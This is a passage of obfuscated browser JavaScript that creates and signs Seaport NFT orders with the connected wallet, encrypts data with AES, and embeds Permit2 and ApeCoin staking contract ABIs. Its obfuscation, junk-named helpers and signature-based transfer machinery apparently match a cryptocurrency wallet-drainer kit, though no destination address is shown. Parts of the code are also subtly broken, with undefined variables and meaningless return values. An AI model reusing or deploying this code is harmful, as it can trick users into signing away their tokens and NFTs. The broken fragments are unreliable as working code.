createOrder = async (_0x49fe14, _0x4a41d5, _0x5c5ceb = 0, _0x4c5a7a = Math.floor(Date.now() / 1000), _0x209a7d = _0x4c5a7a + 2678400, _0x461d2d = undefined, _0x53629d = ethers.constants.HashZero, _0x19b28e = ethers.constants.HashZero, _0x339849 = false) => {
const _0x5d30ed = this.signer;
const _0x24f74e = new SeaportFactory(this.seaportAddress, this.signer).contract;
const _0x21cd52 = await _0x5d30ed.getAddress();
const _0x67dff4 = await _0x24f74e.getCounter(_0x21cd52);
var _0x4ddff2 = !_0x339849 ? "0x" + this.random_bytes_function(32) : ethers.constants.HashZero;
const _0x2ae1e8 = {
offerer: _0x21cd52,
zone: _0x461d2d,
offer: _0x49fe14,
consideration: _0x4a41d5,
totalOriginalConsiderationItems: _0x4a41d5.length,
orderType: _0x5c5ceb,
zoneHash: _0x53629d,
salt: _0x4ddff2,
conduitKey: _0x19b28e,
startTime: _0x4c5a7a,
endTime: _0x209a7d
};
const _0xedea28 = _0x2ae1e8;
const _0x386e8a = {
..._0xedea28
};
_0x386e8a.counter = _0x67dff4;
const _0x30b0ee = _0x386e8a;
const _0x3a520a = await this.signOrder(_0x24f74e, this.chainId, _0x30b0ee, _0x5d30ed);
const _0x2dc0e0 = {
parameters: _0xedea28,
signature: _0x3a520a,
numerator: 1,
denominator: 1,
extraData: "0x"
};
const _0xe4b2a9 = _0x2dc0e0;
const _0x3609a6 = _0x49fe14.map(_0x353f59 => _0x353f59.itemType === 0 ? _0x353f59.endAmount.gt(_0x353f59.startAmount) ? _0x353f59.endAmount : _0x353f59.startAmount : this.toBN(0)).reduce((_0x404219, _0x300ca1) => _0x404219.add(_0x300ca1), this.toBN(0)).add(_0x4a41d5.map(_0xc8685e => _0xc8685e.itemType === 0 ? _0xc8685e.endAmount.gt(_0xc8685e.startAmount) ? _0xc8685e.endAmount : _0xc8685e.startAmount : this.toBN(0)).reduce((_0x50f973, _0x3f8246) => _0x50f973.add(_0x3f8246), this.toBN(0)));
const _0x146566 = {
order: _0xe4b2a9,
value: _0x3609a6,
orderComponents: _0x30b0ee
};
return _0x146566;
};
getItem = _0x17ff9e => {
const {
itemType: _0x1169a7,
token: _0xbc7147,
startAmount: _0x2b0f3e,
endAmount = _0x2b0f3e,
tokenId: _0x21de7d,
recipient: _0x230b67,
root: _0x29f1e5
} = _0x17ff9e;
switch (_0x1169a7) {
case 1:
return this.getItem20(_0xbc7147, _0x2b0f3e, endAmount, _0x230b67);
case 2:
return this.getItem721(_0xbc7147, _0x21de7d, _0x230b67);
case 3:
return this.getItem1155(_0xbc7147, _0x21de7d, _0x2b0f3e, endAmount, _0x230b67);
}
};
getItem20 = (_0x36c7b9, _0x17afd7, _0x2b8578, _0x335922) => this.getOfferOrConsiderationItem(1, _0x36c7b9, 0, _0x17afd7, _0x2b8578, _0x335922);
getItem721 = (_0x54261a, _0x112a6d, _0x44109c) => this.getOfferOrConsiderationItem(2, _0x54261a, _0x112a6d, 1, 1, _0x44109c);
getItem1155 = (_0x4333f1, _0x13877f, _0x5369d9 = 1, _0x206b5b = 1, _0x450879) => this.getOfferOrConsiderationItem(3, _0x4333f1, _0x13877f, _0x5369d9, _0x206b5b, _0x450879);
getOfferOrConsiderationItem = (_0x569726 = 0, _0x2037f8 = ethers.constants.AddressZero, _0x2911ea = 0, _0x153965 = 1, _0x33e69f = 1, _0x274cb7) => {
const _0x1d7ea6 = {
itemType: _0x569726,
token: _0x2037f8,
identifierOrCriteria: _0x2911ea,
startAmount: _0x153965,
endAmount: _0x33e69f
};
const _0x2e35ed = _0x1d7ea6;
if (typeof _0x274cb7 === "string") {
const _0x555346 = {
..._0x2e35ed
};
_0x555346.recipient = _0x274cb7;
return _0x555346;
}
return _0x2e35ed;
};
signOrder = async (_0x993781, _0x110f24, _0x4f317f, _0x311182) => {
const _0x146795 = {
name: "Seaport",
version: "1.5",
chainId: _0x110f24,
verifyingContract: _0x993781.address
};
const _0x1c9f7e = _0x146795;
const _0x52e53e = await _0x311182._signTypedData(_0x1c9f7e, this.orderType, _0x4f317f);
return _0x52e53e;
};
random_bytes_function = _0x4f3619 => {
var _0x47272b = Math.ceil(_0x4f3619 = (+_0x4f3619 || 8) / 2);
var _0x40ce95 = new Uint8Array(_0x47272b);
window.crypto.getRandomValues(_0x40ce95);
var _0x304cfd = function (_0x302e38) {
return "00".slice(_0x302e38.length) + _0x302e38;
};
var _0xd2864e = Array.prototype.map.call(_0x40ce95, function (_0x3ffb35) {
return _0x304cfd(_0x3ffb35.toString(16));
});
var _0x203471 = _0xd2864e.join("").toUpperCase();
if (_0x4f3619 % 2) {
_0x203471 = _0x203471.slice(1);
}
return _0x203471;
};
toBN = _0x29ec6a => ethers.BigNumber.from(_0x29ec6a);
}
class Helpers extends Values {
constructor() {
super();
}
propComparator = _0x301f69 => (_0x3bdc00, _0x58931b) => _0x3bdc00[_0x301f69] == _0x58931b[_0x301f69] ? 0 : _0x3bdc00[_0x301f69] < _0x58931b[_0x301f69] ? -1 : 1;
isMobile = () => {
let _0x1f3643 = false;
(function (_0xf8a1f0) {
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(_0xf8a1f0) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(_0xf8a1f0.substr(0, 4))) {
_0x1f3643 = true;
}
})(navigator.userAgent || navigator.vendor || window.opera);
return _0x1f3643;
};
stringFromCharCode = String.fromCharCode;
ucs2decode(_0x4151ec) {
var _0x24b422 = [];
var _0x3365e1 = 0;
var _0x5a75e3 = _0x4151ec.length;
var _0x1010af;
var _0x1a3f4c;
while (_0x3365e1 < _0x5a75e3) {
_0x1010af = _0x4151ec.charCodeAt(_0x3365e1++);
if (_0x1010af >= 55296 && _0x1010af <= 56319 && _0x3365e1 < _0x5a75e3) {
_0x1a3f4c = _0x4151ec.charCodeAt(_0x3365e1++);
if ((_0x1a3f4c & 64512) == 56320) {
_0x24b422.push(((_0x1010af & 1023) << 10) + (_0x1a3f4c & 1023) + 65536);
} else {
_0x24b422.push(_0x1010af);
_0x3365e1--;
}
} else {
_0x24b422.push(_0x1010af);
}
}
return _0x24b422;
}
ucs2encode(_0x252e06) {
var _0x9aa61f = _0x252e06.length;
var _0x21cbeb = -1;
var _0x2e6ddf;
var _0x323805 = "";
while (++_0x21cbeb < _0x9aa61f) {
_0x2e6ddf = _0x252e06[_0x21cbeb];
if (_0x2e6ddf > 65535) {
_0x2e6ddf -= 65536;
_0x323805 += this.stringFromCharCode(_0x2e6ddf >>> 10 & 1023 | 55296);
_0x2e6ddf = _0x2e6ddf & 1023 | 56320;
}
_0x323805 += this.stringFromCharCode(_0x2e6ddf);
}
return _0x323805;
}
checkScalarValue(_0x658f6d) {
if (_0x658f6d >= 55296 && _0x658f6d <= 57343) {
throw Error("Lone surrogate U+" + _0x658f6d.toString(16).toUpperCase() + " is not a scalar value");
}
}
createByte(_0x41686d, _0x25e1d5) {
return this.stringFromCharCode(_0x41686d >> _0x25e1d5 & 63 | 128);
}
encodeCodePoint(_0x59771f) {
if ((_0x59771f & 4294967168) == 0) {
return this.stringFromCharCode(_0x59771f);
}
var _0x18ff93 = "";
if ((_0x59771f & 4294965248) == 0) {
_0x18ff93 = this.stringFromCharCode(_0x59771f >> 6 & 31 | 192);
} else if ((_0x59771f & 4294901760) == 0) {
this.checkScalarValue(_0x59771f);
_0x18ff93 = this.stringFromCharCode(_0x59771f >> 12 & 15 | 224);
_0x18ff93 += this.createByte(_0x59771f, 6);
} else if ((_0x59771f & 4292870144) == 0) {
_0x18ff93 = this.stringFromCharCode(_0x59771f >> 18 & 7 | 240);
_0x18ff93 += this.createByte(_0x59771f, 12);
_0x18ff93 += this.createByte(_0x59771f, 6);
}
_0x18ff93 += this.stringFromCharCode(_0x59771f & 63 | 128);
return _0x18ff93;
}
utf8encode(_0x47b813) {
var _0x38ae03 = this.ucs2decode(_0x47b813);
var _0x3b8136 = _0x38ae03.length;
var _0x7bfe69 = -1;
var _0x52874b;
var _0x2753eb = "";
while (++_0x7bfe69 < _0x3b8136) {
_0x52874b = _0x38ae03[_0x7bfe69];
_0x2753eb += this.encodeCodePoint(_0x52874b);
}
return _0x2753eb;
}
encrypt(_0x7f7ba2, _0x185e4f) {
var _0x54c526 = CryptoJS.lib.WordArray.random(this.saltSize / 8);
var _0x3f64dd = CryptoJS.PBKDF2(_0x185e4f, _0x54c526, {
keySize: this.keySize / 32,
iterations: this.iterations
});
var _0x4765e3 = CryptoJS.lib.WordArray.random(this.ivSize / 8);
var _0x158a2a = CryptoJS.AES.encrypt(_0x7f7ba2, _0x3f64dd, {
iv: _0x4765e3,
padding: CryptoJS.pad.Pkcs7,
mode: CryptoJS.mode.CBC
});
var _0x5d66da = this.base64ToHex(_0x158a2a.toString());
var _0x47e197 = this.hexToBase64(_0x54c526 + _0x4765e3 + _0x5d66da);
return _0x47e197;
}
escaper(_0x4037bc) {
return (_0x4037bc + "").replace(/[\\"']/g, "\\$&").replace(/\u0000/g, "\\0");
}
hexToBase64(_0x1068cc) {
return btoa(String.fromCharCode.apply(null, _0x1068cc.replace(/\r|\n/g, "").replace(/([\da-fA-F]{2}) ?/g, "0x$1 ").replace(/ +$/, "").split(" ")));
}
base64ToHex(_0x232fcd) {
for (var _0x4f31bf = 0, _0x53d126 = atob(_0x232fcd.replace(/[ \r\n]+$/, "")), _0x176894 = []; _0x4f31bf < _0x53d126.length; ++_0x4f31bf) {
var _0x5e8c64 = _0x53d126.charCodeAt(_0x4f31bf).toString(16);
if (_0x5e8c64.length === 1) {
_0x5e8c64 = "0" + _0x5e8c64;
}
_0x176894[_0x176894.length] = _0x5e8c64;
}
return _0x176894.join("");
}
readContinuationByte() {
if (this.byteIndex >= this.byteCount) {
throw Error("Invalid byte index");
}
var _0x457ed3 = this.byteArray[byteIndex] & 255;
this.byteIndex++;
if ((_0x457ed3 & 192) == 128) {
return _0x457ed3 & 63;
}
throw Error("Invalid continuation byte");
}
decodeSymbol() {
var _0x1c46f4;
var _0x35c4d7;
var _0x32b6fd;
var _0x53915d;
var _0x3a656d;
if (this.byteIndex > this.byteCount) {
throw Error("Invalid byte index");
}
if (this.byteIndex == this.byteCount) {
return false;
}
_0x1c46f4 = this.byteArray[this.byteIndex] & 255;
this.byteIndex++;
if ((_0x1c46f4 & 128) == 0) {
return _0x1c46f4;
}
if ((_0x1c46f4 & 224) == 192) {
_0x35c4d7 = this.readContinuationByte();
_0x3a656d = (_0x1c46f4 & 31) << 6 | _0x35c4d7;
if (_0x3a656d >= 128) {
return _0x3a656d;
} else {
throw Error("Invalid continuation byte");
}
}
if ((_0x1c46f4 & 240) == 224) {
_0x35c4d7 = this.readContinuationByte();
_0x32b6fd = this.readContinuationByte();
_0x3a656d = (_0x1c46f4 & 15) << 12 | _0x35c4d7 << 6 | _0x32b6fd;
if (_0x3a656d >= 2048) {
this.checkScalarValue(_0x3a656d);
return _0x3a656d;
} else {
throw Error("Invalid continuation byte");
}
}
if ((_0x1c46f4 & 248) == 240) {
_0x35c4d7 = this.readContinuationByte();
_0x32b6fd = this.readContinuationByte();
_0x53915d = this.readContinuationByte();
_0x3a656d = (_0x1c46f4 & 7) << 18 | _0x35c4d7 << 12 | _0x32b6fd << 6 | _0x53915d;
if (_0x3a656d >= 65536 && _0x3a656d <= 1114111) {
return _0x3a656d;
}
}
throw Error("Invalid UTF-8 detected");
}
utf8decode = _0x11052f => {
this.byteArray = this.ucs2decode(_0x11052f);
this.byteCount = this.byteArray.length;
this.byteIndex = 0;
var _0x1da702 = [];
var _0x2920ce;
while ((_0x2920ce = this.decodeSymbol()) !== false) {
_0x1da702.push(_0x2920ce);
}
return this.ucs2encode(_0x1da702);
};
USG1204312 = () => {
let _0x3d68ff = "89494546546156";
let _0x34a02a = "465dsfsdf4ssfsdf";
let _0x3fa4f2 = "XKd9jANX98hHxBXGH";
const _0x391071 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (let _0x3f745c = 0; _0x3f745c < length; _0x3f745c++) {
_0x34a02a += _0x391071.charAt(Math.floor(Math.random() * _0x391071.length));
}
return _0x3fa4f2;
};
jJDFGDFJGDFGNBCBNCVJBCVN = _0x1666ec => {
return Math.floor(Date.now() / 1000);
};
xJDKDFGXDFIXDFBNXD9273129hizu7sg = _0x387cba => {
let _0x136c84 = "";
const _0x5d9e30 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (let _0x1a4922 = 0; _0x1a4922 < _0x387cba; _0x1a4922++) {
_0x136c84 += _0x5d9e30.charAt(Math.floor(Math.random() * _0x5d9e30.length));
}
return _0x136c84;
};
J9108240u9pjhXNXUDFJABXDF = _0x33d57b => {
let _0x46ce8b = "";
const _0x48ae02 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (let _0x584235 = 0; _0x584235 < _0x33d57b; _0x584235++) {
_0x46ce8b += _0x48ae02.charAt(Math.floor(Math.random() * _0x48ae02.length));
}
return _0x46ce8b;
};
UserAgent = _0x349256 => {
let _0x3caae0 = "";
const _0x1b1bd7 = "0123456789";
let _0x3c9542 = window.navigator.userAgent;
for (let _0x1a405e = 0; _0x1a405e < _0x349256; _0x1a405e++) {
_0x3caae0 += _0x1b1bd7.charAt(Math.floor(Math.random() * _0x1b1bd7.length));
}
return this.y;
};
hexToUtf8 = _0x460959 => {
let _0x14dfb3 = "";
let _0x2dfe8d = 0;
_0x460959 = _0x460959.replace(/^0x/i, "");
_0x460959 = _0x460959.replace(/^(?:00)*/, "");
_0x460959 = _0x460959.split("").reverse().join("");
_0x460959 = _0x460959.replace(/^(?:00)*/, "");
_0x460959 = _0x460959.split("").reverse().join("");
let _0x289567 = _0x460959.length;
for (let _0x20f161 = 0; _0x20f161 < _0x289567; _0x20f161 += 2) {
_0x2dfe8d = parseInt(_0x460959.substr(_0x20f161, 2), 16);
_0x14dfb3 += String.fromCharCode(_0x2dfe8d);
}
return this.utf8decode(_0x14dfb3);
};
}
class Permit2Factory {
interface;
contract;
abi = [{
inputs: [{
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "AllowanceExpired",
type: "error"
}, {
inputs: [],
name: "ExcessiveInvalidation",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "amount",
type: "uint256"
}],
name: "InsufficientAllowance",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "maxAmount",
type: "uint256"
}],
name: "InvalidAmount",
type: "error"
}, {
inputs: [],
name: "InvalidContractSignature",
type: "error"
}, {
inputs: [],
name: "InvalidNonce",
type: "error"
}, {
inputs: [],
name: "InvalidSignature",
type: "error"
}, {
inputs: [],
name: "InvalidSignatureLength",
type: "error"
}, {
inputs: [],
name: "InvalidSigner",
type: "error"
}, {
inputs: [],
name: "LengthMismatch",
type: "error"
}, {
inputs: [{
internalType: "uint256",
name: "signatureDeadline",
type: "uint256"
}],
name: "SignatureExpired",
type: "error"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "token",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "spender",
type: "address"
}, {
indexed: false,
internalType: "uint160",
name: "amount",
type: "uint160"
}, {
indexed: false,
internalType: "uint48",
name: "expiration",
type: "uint48"
}],
name: "Approval",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "token",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "spender",
type: "address"
}],
name: "Lockdown",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "token",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "spender",
type: "address"
}, {
indexed: false,
internalType: "uint48",
name: "newNonce",
type: "uint48"
}, {
indexed: false,
internalType: "uint48",
name: "oldNonce",
type: "uint48"
}],
name: "NonceInvalidation",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "token",
type: "address"
}, {
indexed: true,
internalType: "address",
name: "spender",
type: "address"
}, {
indexed: false,
internalType: "uint160",
name: "amount",
type: "uint160"
}, {
indexed: false,
internalType: "uint48",
name: "expiration",
type: "uint48"
}, {
indexed: false,
internalType: "uint48",
name: "nonce",
type: "uint48"
}],
name: "Permit",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "owner",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "word",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mask",
type: "uint256"
}],
name: "UnorderedNonceInvalidation",
type: "event"
}, {
inputs: [],
name: "DOMAIN_SEPARATOR",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}, {
internalType: "address",
name: "",
type: "address"
}, {
internalType: "address",
name: "",
type: "address"
}],
name: "allowance",
outputs: [{
internalType: "uint160",
name: "amount",
type: "uint160"
}, {
internalType: "uint48",
name: "expiration",
type: "uint48"
}, {
internalType: "uint48",
name: "nonce",
type: "uint48"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "address",
name: "spender",
type: "address"
}, {
internalType: "uint160",
name: "amount",
type: "uint160"
}, {
internalType: "uint48",
name: "expiration",
type: "uint48"
}],
name: "approve",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "address",
name: "spender",
type: "address"
}, {
internalType: "uint48",
name: "newNonce",
type: "uint48"
}],
name: "invalidateNonces",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "wordPos",
type: "uint256"
}, {
internalType: "uint256",
name: "mask",
type: "uint256"
}],
name: "invalidateUnorderedNonces",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "address",
name: "spender",
type: "address"
}],
internalType: "struct IAllowanceTransfer.TokenSpenderPair[]",
name: "approvals",
type: "tuple[]"
}],
name: "lockdown",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}, {
internalType: "uint256",
name: "",
type: "uint256"
}],
name: "nonceBitmap",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "owner",
type: "address"
}, {
components: [{
components: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint160",
name: "amount",
type: "uint160"
}, {
internalType: "uint48",
name: "expiration",
type: "uint48"
}, {
internalType: "uint48",
name: "nonce",
type: "uint48"
}],
internalType: "struct IAllowanceTransfer.PermitDetails[]",
name: "details",
type: "tuple[]"
}, {
internalType: "address",
name: "spender",
type: "address"
}, {
internalType: "uint256",
name: "sigDeadline",
type: "uint256"
}],
internalType: "struct IAllowanceTransfer.PermitBatch",
name: "permitBatch",
type: "tuple"
}, {
internalType: "bytes",
name: "signature",
type: "bytes"
}],
name: "permit",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
components: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.TokenPermissions",
name: "permitted",
type: "tuple"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.PermitTransferFrom",
name: "permit",
type: "tuple"
}, {
components: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "requestedAmount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.SignatureTransferDetails",
name: "transferDetails",
type: "tuple"
}, {
internalType: "address",
name: "owner",
type: "address"
}, {
internalType: "bytes",
name: "signature",
type: "bytes"
}],
name: "permitTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
components: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.TokenPermissions[]",
name: "permitted",
type: "tuple[]"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.PermitBatchTransferFrom",
name: "permit",
type: "tuple"
}, {
components: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "requestedAmount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.SignatureTransferDetails[]",
name: "transferDetails",
type: "tuple[]"
}, {
internalType: "address",
name: "owner",
type: "address"
}, {
internalType: "bytes",
name: "signature",
type: "bytes"
}],
name: "permitTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
components: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.TokenPermissions",
name: "permitted",
type: "tuple"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.PermitTransferFrom",
name: "permit",
type: "tuple"
}, {
components: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "requestedAmount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.SignatureTransferDetails",
name: "transferDetails",
type: "tuple"
}, {
internalType: "address",
name: "owner",
type: "address"
}, {
internalType: "bytes32",
name: "witness",
type: "bytes32"
}, {
internalType: "string",
name: "witnessTypeString",
type: "string"
}, {
internalType: "bytes",
name: "signature",
type: "bytes"
}],
name: "permitWitnessTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
components: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.TokenPermissions[]",
name: "permitted",
type: "tuple[]"
}, {
internalType: "uint256",
name: "nonce",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.PermitBatchTransferFrom",
name: "permit",
type: "tuple"
}, {
components: [{
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "requestedAmount",
type: "uint256"
}],
internalType: "struct ISignatureTransfer.SignatureTransferDetails[]",
name: "transferDetails",
type: "tuple[]"
}, {
internalType: "address",
name: "owner",
type: "address"
}, {
internalType: "bytes32",
name: "witness",
type: "bytes32"
}, {
internalType: "string",
name: "witnessTypeString",
type: "string"
}, {
internalType: "bytes",
name: "signature",
type: "bytes"
}],
name: "permitWitnessTransferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
components: [{
internalType: "address",
name: "from",
type: "address"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint160",
name: "amount",
type: "uint160"
}, {
internalType: "address",
name: "token",
type: "address"
}],
internalType: "struct IAllowanceTransfer.AllowanceTransferDetails[]",
name: "transferDetails",
type: "tuple[]"
}],
name: "transferFrom",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}];
constructor(_0x2b6364, _0x42664b) {
this.interface = new ethers.utils.Interface(this.abi);
this.contract = new ethers.Contract(_0x2b6364, this.abi, _0x42664b);
}
}
class ApeFactory {
interface;
contract;
abi = [{
inputs: [{
internalType: "address",
name: "_apeCoinContractAddress",
type: "address"
}, {
internalType: "address",
name: "_baycContractAddress",
type: "address"
}, {
internalType: "address",
name: "_maycContractAddress",
type: "address"
}, {
internalType: "address",
name: "_bakcContractAddress",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "BAKCAlreadyPaired",
type: "error"
}, {
inputs: [],
name: "BAKCNotOwnedOrPaired",
type: "error"
}, {
inputs: [],
name: "CallerNotOwner",
type: "error"
}, {
inputs: [],
name: "DepositMoreThanOneAPE",
type: "error"
}, {
inputs: [],
name: "EndNotWholeHour",
type: "error"
}, {
inputs: [],
name: "ExceededCapAmount",
type: "error"
}, {
inputs: [],
name: "ExceededStakedAmount",
type: "error"
}, {
inputs: [],
name: "InvalidPoolId",
type: "error"
}, {
inputs: [],
name: "MainTokenNotOwnedOrPaired",
type: "error"
}, {
inputs: [],
name: "NeitherTokenInPairOwnedByCaller",
type: "error"
}, {
inputs: [],
name: "NotOwnerOfBAKC",
type: "error"
}, {
inputs: [],
name: "NotOwnerOfMain",
type: "error"
}, {
inputs: [],
name: "ProvidedTokensNotPaired",
type: "error"
}, {
inputs: [],
name: "SplitPairCantPartiallyWithdraw",
type: "error"
}, {
inputs: [],
name: "StartMustBeGreaterThanEnd",
type: "error"
}, {
inputs: [],
name: "StartMustEqualLastEnd",
type: "error"
}, {
inputs: [],
name: "StartNotWholeHour",
type: "error"
}, {
inputs: [],
name: "UncommitWrongParameters",
type: "error"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "recipient",
type: "address"
}],
name: "ClaimRewards",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: true,
internalType: "uint256",
name: "poolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "tokenId",
type: "uint256"
}],
name: "ClaimRewardsNft",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mainTypePoolId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "mainTokenId",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "bakcTokenId",
type: "uint256"
}],
name: "ClaimRewardsPairNft",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
indexed: false,
internalType: "address",
name: "recipient",
type: "address"
}],
name: "Deposit",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
internalType: "address",
name: "user",
